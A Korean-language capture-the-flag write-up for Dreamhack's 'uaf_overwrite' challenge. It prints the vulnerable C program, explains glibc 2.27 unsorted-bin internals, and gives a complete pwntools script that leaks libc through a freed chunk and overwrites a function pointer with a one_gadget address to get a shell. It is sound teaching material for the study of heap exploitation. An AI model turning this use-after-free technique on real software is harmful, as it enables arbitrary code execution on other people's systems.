[dreamhack] uaf_overwrite writeup

1. 문제

thumbnail
uaf_overwrite

Exploit Tech: Use After Free에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/357

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

human_func, robot_func, custom_func가 있다.

  • human_func 함수는 human 구조체 1개를 할당하고, weightage를 입력받아서 데이터 저장 후 free한다.
  • robot_func 함수는 robot 구조체 1개를 할당하고, weigth을 입력받아 데이터 저장 후, robot->fptr의 값이 NULL이 아니면 fptr의 주소에 있는 코드를 실행한다.
  • custom_func 함수는 size가 0x100보다 크면 custom[c_idx]에 size만큼 할당하고 데이터를 입력받는다. 이후 이 값을 다시 출력해주고, idx를 입력받아서 조건문을 통과하면 할당한 메모리를 free한다.

일단 humanrobot 구조체의 크기는 동일하기 때문에 human->age에 원하는 코드의 주소를 입력하면 robot->fptr이 실행될 때 해당 코드가 실행될 수 있다.

그러려면 libc leak이 필요한데, custom_func를 실행할 때 할당된 메모리의 데이터 출력 시 이전에 free되었던 메모리를 다시 불러오게 되면 fd값을 알 수 있고 이 값은 libc 중에서 main_arena의 주소이기 때문에 leak이 가능하다.


이번 문제는 좀 heap, 특히 unsorted_bin과 관련된 배경지식이 많이 필요했다.

2.1. unsorted bin의 특징

unsorted binfree 직후에 해제된 청크가 들어가는 일시적인 공간으로서, 잠깐 들어갔다가 크기에 따라 small/large bin으로 이동하게 된다. 그런데 glibc 2.26버전 부터는 1040bytes보다 작은 청크는 최대 7개까지는 tcache로 먼저 들어가고 unsorted bin으로 들어가지는 않는다. 그래서 만약에 unsorted bin을 이용하고 싶으면 처음부터 1040bytes보다 큰 청크를 할당했다다가 해제하던지, 아니면 7개의 tcache를 모두 채운 다음에 이용하던지 해야한다. 이 문제는 glibc 2.27 버전을 사용하고 있기 때문에 1040bytes 이상의 청크를 사용할 것이다.

그리고 free를 해서 unsorted bin에 들어가게 되면 아래와 같은 변화가 일어난다.

할당 직후:
[ chunk header (size, prev_size) ][ user data ]

사용 후:
[ chunk header ][ "hello world\0..." ]

free 후 (unsorted bin 진입):
[ chunk header (same size) ][ fd ][ bk ][ stale user data ]

보면 user data에 “hello world” 문자열이 들어갔다가, free를 하게되면 fdbk가 해당 위치에 덮인다.

포인터 의미 역할 위치
fd (forward) 다음 청크 포인터 현재 청크 다음에 오는 free 청크를 가리킴 현재 청크의 메타데이터 영역에 저장
bk (backward) 이전 청크 포인터 현재 청크 이전의 free 청크를 가리킴 현재 청크의 메타데이터 영역에 저장

정확히 말하면 아래와 같다.

예: p라는 청크를 free(p)했을 때, 이렇게 하면 p는 unsorted bin의 맨 앞(head)에 추가된다.

  • p->fd = main_arena.unsorted_bin
  • main_arena.unsorted_bin->bk = p
  • main_arena.unsorted_bin = p
  • p->bk = &main_arena.unsorted_bin

이때 p->fdp->bk에 들어가는 값은 main_arena의 값인데, 이게 libc에 존재하는 값이다. 때문에 이를 leak할 수 있으면 libc의 base 주소를 알 수 있다.

이제 이걸 기준으로 one_gadget 주소를 찾아서 human_age에 입력해주면 해결이될텐데, leak을 하는 과정이 조금 까다롭다. 만약 처음에 한번 할당 후 바로 free를 하게되면 해당 청크는 top chunk와 맞닿아있기 때문에 unsorted bin으로 들어가는게 아니라 top chunk와 합쳐지게 된다. fdbk에 아무것도 쓰여지지 않기 때문에 다시 할당을 요청해도 아무 값이 써있지 않다. 즉, 아래와 같이 되는 것이다. 때문에 두개의 청크를 할당한 후에, 첫번째로 할당했던 청크를 free해야 해당 청크가 unsorted bin으로 들어가고, fdbk가 쓰여질 수 있다. 그리고 동일한 사이즈를 다시 할당하게 되면 해당 청크를 다시 불러오게 된다.

  • 하나만 할당해서 free할 경우
초기 상태:
[ top chunk (full size) ]

malloc(0x100):
[ chunk A (0x110 = 0x100 + header) ][ top chunk (reduced) ]

free(chunk A):
[ new merged top chunk (size = A + top chunk) ]
  • 두번 할당한 후에 첫번째 청크를 free할 경우
초기:
[ top chunk (full size) ]

malloc 두 번 후:
[ chunk A ][ chunk B ][ top chunk (reduced) ]

free(chunk A):
[ free chunk A (unsorted bin) ][ used chunk B ][ top chunk ]

2.2. 시나리오

그러면 이제 libc base를 얻어내는 과정이다. 먼저 custom_func를 3번 실행해서 두개의 청크를 할당하고 첫번째를 free한 후, free된 청크를 다시 할당하였다.

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"idx: ", b'-1')    # 아무 청크도 free안함

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"idx: ", b'0')   # 첫번째 청크 free

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"b")
p.recvuntil(b"Data: ")
main_arena_libc = u64(p.recv(6) + b"\x00" * 2)
p.sendlineafter(b"idx: ", b'-1')

이러면 재할당한 청크의 데이터를 출력할 때 fd의 값이 출력된다. 다만 주의할 점은 어쨌든 b라는 값을 입력했기 때문에 마지막 fd의 1바이트는 b가 덮여서 0x62가 있을 것이다.

이렇게 main_arena의 libc 주소를 구하긴 했는데, offset을 구해보자. 두가지 방법이 존재한다.

  • 1. vmmap을 이용해서 libc base 주소와 비교하기

간단하게 leak을 한 주소와 gdb에서 vmmap을 통해 구한 libc base 주소를 비교하는 것이다. 예를 들어 leak을 한 주소는 아래와 같았다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/uaf_overwrite$ python3 e_uaf_overwrite.py 
[+] Starting local process './uaf_overwrite': pid 2498532
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/uaf_overwrite/libc-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x777b6e3ebc62

그리고 gdb에서 vmmap을 실행하면 libc의 base 주소를 알 수 있다.

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x58b99a200000     0x58b99a202000 r-xp     2000      0 uaf_overwrite
    0x58b99a401000     0x58b99a402000 r--p     1000   1000 uaf_overwrite
    0x58b99a402000     0x58b99a403000 rw-p     1000   2000 uaf_overwrite
    0x58b99a600000     0x58b99a601000 rw-p     1000   4000 uaf_overwrite
    0x58b99a800000     0x58b99a802000 rw-p     2000   5000 uaf_overwrite
    0x58b99ac00000     0x58b99ac01000 rw-p     1000   7000 uaf_overwrite
    0x58b9a11d5000     0x58b9a11f6000 rw-p    21000      0 [heap]
    0x777b6e000000     0x777b6e1e7000 r-xp   1e7000      0 libc-2.27.so
    0x777b6e1e7000     0x777b6e3e7000 ---p   200000 1e7000 libc-2.27.so
    0x777b6e3e7000     0x777b6e3eb000 r--p     4000 1e7000 libc-2.27.so
    0x777b6e3eb000     0x777b6e3ed000 rw-p     2000 1eb000 libc-2.27.so
    0x777b6e3ed000     0x777b6e3f1000 rw-p     4000      0 [anon_777b6e3ed]
    0x777b6e400000     0x777b6e429000 r-xp    29000      0 ld-2.27.so
    0x777b6e629000     0x777b6e62a000 r--p     1000  29000 ld-2.27.so
    0x777b6e62a000     0x777b6e62b000 rw-p     1000  2a000 ld-2.27.so
    0x777b6e62b000     0x777b6e62c000 rw-p     1000      0 [anon_777b6e62b]
    0x777b6e700000     0x777b6e702000 rw-p     2000      0 [anon_777b6e700]
    0x7fffacbcb000     0x7fffacbec000 rw-p    21000      0 [stack]
    0x7fffacbf6000     0x7fffacbfa000 r--p     4000      0 [vvar]
    0x7fffacbfa000     0x7fffacbfc000 r-xp     2000      0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

libc-2.27.sostart 주소가 base주소가 되는데, 여러개가 있는 것을 볼 수 있다. 그중에서 우리가 봐야할 것은 x 권한, 즉 실행권한이 있는 libc-2.27.sostart주소가 진짜 base이다. 여기서는 0x777b6e000000이다.

위의 0x777b6e3ebc62와 정확히 0x3ebc62만큼 차이나므로 이를 통해 구할 수 있다.

  • 2. __malloc_hook의 offset을 기준으로 구하기

main_arena의 주소는 __malloc_hook + 0x10임이 알려져있다. 이를 통해서 쉽게 구할 수 있는데, 다만 이럴 경우 앞에서처럼 정확히 구해지는 것은 아니고, 입력한 데이터 b가 덮인 주소가 고려되지 않기 때문에 마지막 바이트가 00이 되도록 해야한다.

이제 one_gadget의 offset을 구해보면 아래와 같이 총 4개의 offset이 나오는데 실제로 작동했던건 마지막 0x10a41c였다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/uaf_overwrite$ one_gadget libc-2.27.so 
0x4f3ce execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

최종 exploit은 아래와 같다.

from pwn import *

p = process("./uaf_overwrite")
#p = remote("host3.dreamhack.games", 14946)
elf = ELF("./libc-2.27.so")

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"idx: ", b'-1')

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"idx: ", b'0')

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"b")
p.recvuntil(b"Data: ")
main_arena_libc = u64(p.recv(6) + b"\x00" * 2)
p.sendlineafter(b"idx: ", b'-1')

libcbase = main_arena_libc - 0x3ebc62
print(hex(libcbase))
one_gadget = libcbase + 0x10a41c
print(hex(one_gadget))


p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Human Weight: ", b"1")
p.sendlineafter(b"Human Age: ", str(one_gadget))

p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Robot Weight: ", b"1")

p.interactive()

vm 코인 이슈로 로컬 결과로 대체…

ubuntu@instance-20250406-1126:~/dreamhack/level2/uaf_overwrite$ python3 e_uaf_overwrite.py 
[+] Starting local process './uaf_overwrite': pid 2498627
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/uaf_overwrite/libc-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x7dd4a6400000
0x7dd4a650a41c
/home/ubuntu/dreamhack/level2/uaf_overwrite/e_uaf_overwrite.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"Human Age: ", str(one_gadget))
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
$ cat flag
DH{**flag**}

이 문제에서도 당연히 libc 패치를 해주고 풀었다.

해결~